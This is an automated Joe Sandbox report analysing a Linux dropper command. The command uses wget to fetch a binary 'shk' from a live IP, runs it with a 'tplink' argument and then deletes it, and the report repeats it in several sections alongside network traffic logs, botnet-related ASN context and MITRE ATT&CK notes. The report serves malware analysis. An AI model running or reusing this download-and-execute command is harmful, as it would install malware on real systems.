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Linux Analysis Report

Overview

General Information

Analysis ID:	1417455
Infos:

Detection

Score:	1
Range:	0 - 100
Whitelisted:	false

Signatures

Executes the "rm" command used to delete files or directories

Executes the "wget" command typically used for HTTP/S downloading

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417455
Start date and time:	2024-03-29 10:32:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxcmdlinecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	CLEAN
Classification:	clean1.lin@0/0@0/0

Runtime Messages

Command:	/bin/sh -c "cd /tmp; rm -rf shk; wget http:/89.190.156.173/shk; chmod 777 shk; ./shk tplink; rm -rf shk"
PID:	6220
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:
Standard Error:	--2024-03-29 10:33:08-- http://89.190.156.173/shk

Process Tree

system is lnxubuntu20

sh (PID: 6220, Parent: 6135, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "cd /tmp; rm -rf shk; wget http://89.190.156.173/shk; chmod 777 shk; ./shk tplink; rm -rf shk"

sh New Fork (PID: 6221, Parent: 6220)

rm (PID: 6221, Parent: 6220, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf shk

sh New Fork (PID: 6222, Parent: 6220)

wget (PID: 6222, Parent: 6220, MD5: 996940118df7bb2aaa718589d4e95c08) Arguments: wget http://89.190.156.173/shk

cleanup

Yara Signatures

⊘No yara matches

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

There are no malicious signatures, click here to show all signatures.

Source: /bin/sh (PID: 6222)

Wget executable: /usr/bin/wget -> wget http://89.190.156.173/shk

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:36504 -> 89.190.156.173:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173
Source: unknown	TCP traffic detected without corresponding DNS query: 89.190.156.173

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: classification engine

Classification label: clean1.lin@0/0@0/0

Source: /bin/sh (PID: 6221)

Rm executable: /usr/bin/rm -> rm -rf shk

Jump to behavior

Source: /bin/sh (PID: 6222)

Wget executable: /usr/bin/wget -> wget http://89.190.156.173/shk

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
89.190.156.173	unknown	United Kingdom	7489	HOSTUS-GLOBAL-ASHostUSHK	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
109.202.202.202	XIbeqhmmQI.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse
	D2sLkFb0Il.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ehDbsf5C6M.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.BtcMine.791.1794.25936.elf	Get hash	malicious	Unknown	Browse
	cG90Z4Gln7.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	xU378s6kE2.elf	Get hash	malicious	Mirai	Browse
	1IE558rszZ.elf	Get hash	malicious	Unknown	Browse
	nFcIJ8AqNP.elf	Get hash	malicious	Unknown	Browse
91.189.91.43	XIbeqhmmQI.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse
	D2sLkFb0Il.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ehDbsf5C6M.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.BtcMine.791.1794.25936.elf	Get hash	malicious	Unknown	Browse
	cG90Z4Gln7.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	xU378s6kE2.elf	Get hash	malicious	Mirai	Browse
	1IE558rszZ.elf	Get hash	malicious	Unknown	Browse
	nFcIJ8AqNP.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	XIbeqhmmQI.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse
	D2sLkFb0Il.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ehDbsf5C6M.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.BtcMine.791.1794.25936.elf	Get hash	malicious	Unknown	Browse
	cG90Z4Gln7.elf	Get hash	malicious	Mirai, Gafgyt	Browse
	xU378s6kE2.elf	Get hash	malicious	Mirai	Browse
	1IE558rszZ.elf	Get hash	malicious	Unknown	Browse
	nFcIJ8AqNP.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	XIbeqhmmQI.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	D2sLkFb0Il.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	ehDbsf5C6M.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	78mfG4QdNn.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	mZFiaBnsij.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	SecuriteInfo.com.Linux.BtcMine.791.1794.25936.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	cG90Z4Gln7.elf	Get hash	malicious	Mirai, Gafgyt	Browse	91.189.91.42
CANONICAL-ASGB	XIbeqhmmQI.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	D2sLkFb0Il.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	ehDbsf5C6M.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	78mfG4QdNn.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.125.190.26
	mZFiaBnsij.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	SecuriteInfo.com.Linux.BtcMine.791.1794.25936.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	cG90Z4Gln7.elf	Get hash	malicious	Mirai, Gafgyt	Browse	91.189.91.42
INIT7CH	XIbeqhmmQI.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	XmztmwSit3.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	D2sLkFb0Il.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	ehDbsf5C6M.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	Mcb5K3TOWT.exe	Get hash	malicious	Unknown	Browse	213.144.142.24
	arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	SecuriteInfo.com.Linux.BtcMine.791.1794.25936.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	cG90Z4Gln7.elf	Get hash	malicious	Mirai, Gafgyt	Browse	109.202.202.202
	xU378s6kE2.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	1IE558rszZ.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
HOSTUS-GLOBAL-ASHostUSHK	Quotation.exe	Get hash	malicious	GuLoader	Browse	104.128.228.214
	DHL_DOCUMENT_73838374673_6647383743_PDF.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.185.40.11
	DHL.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.128.228.214
	JOU24013126.exe	Get hash	malicious	AgentTesla	Browse	104.128.228.214
	Unpaid INV02.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.128.228.214
	New_order_requirments_7383882736_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.185.40.11
	DHL Booking.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.128.228.214
	DHL Booking.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.128.228.214
	PI.1.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.128.228.214
	DHL Booking.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.128.228.214

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 10:33:08.752141953 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:33:09.772527933 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:33:11.212419033 CET	43928	443	192.168.2.23	91.189.91.42
Mar 29, 2024 10:33:11.788326025 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:33:15.819755077 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:33:16.843605042 CET	42836	443	192.168.2.23	91.189.91.43
Mar 29, 2024 10:33:18.379547119 CET	42516	80	192.168.2.23	109.202.202.202
Mar 29, 2024 10:33:24.010555983 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:33:32.457366943 CET	43928	443	192.168.2.23	91.189.91.42
Mar 29, 2024 10:33:40.136331081 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:33:42.695974112 CET	42836	443	192.168.2.23	91.189.91.43
Mar 29, 2024 10:33:48.839250088 CET	42516	80	192.168.2.23	109.202.202.202
Mar 29, 2024 10:34:13.411706924 CET	36504	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:34:13.411705971 CET	43928	443	192.168.2.23	91.189.91.42
Mar 29, 2024 10:34:33.888701916 CET	42836	443	192.168.2.23	91.189.91.43
Mar 29, 2024 10:35:19.950126886 CET	36506	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:35:20.954165936 CET	36506	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:35:22.969788074 CET	36506	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:35:27.129270077 CET	36506	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:35:35.320091963 CET	36506	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:35:51.445890903 CET	36506	80	192.168.2.23	89.190.156.173
Mar 29, 2024 10:36:24.465286970 CET	36506	80	192.168.2.23	89.190.156.173

System Behavior

Analysis Process: sh PID: 6220, Parent PID: 6135

General

Start time (UTC):	09:33:08
Start date (UTC):	29/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -c "cd /tmp; rm -rf shk; wget http://89.190.156.173/shk; chmod 777 shk; ./shk tplink; rm -rf shk"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6221, Parent PID: 6220

General

Start time (UTC):	09:33:08
Start date (UTC):	29/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6221, Parent PID: 6220

General

Start time (UTC):	09:33:08
Start date (UTC):	29/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf shk
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: sh PID: 6222, Parent PID: 6220

General

Start time (UTC):	09:33:08
Start date (UTC):	29/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: wget PID: 6222, Parent PID: 6220

General

Start time (UTC):	09:33:08
Start date (UTC):	29/03/2024
Path:	/usr/bin/wget
Arguments:	wget http://89.190.156.173/shk
File size:	548568 bytes
MD5 hash:	996940118df7bb2aaa718589d4e95c08

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

Networking

System Summary

Persistence and Installation Behavior

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: sh PID: 6220, Parent PID: 6135

General

Chronological Activities

Analysis Process: sh PID: 6221, Parent PID: 6220

General

Chronological Activities

Analysis Process: rm PID: 6221, Parent PID: 6220

General

Chronological Activities

Analysis Process: sh PID: 6222, Parent PID: 6220

General

Chronological Activities

Analysis Process: wget PID: 6222, Parent PID: 6220

General

Chronological Activities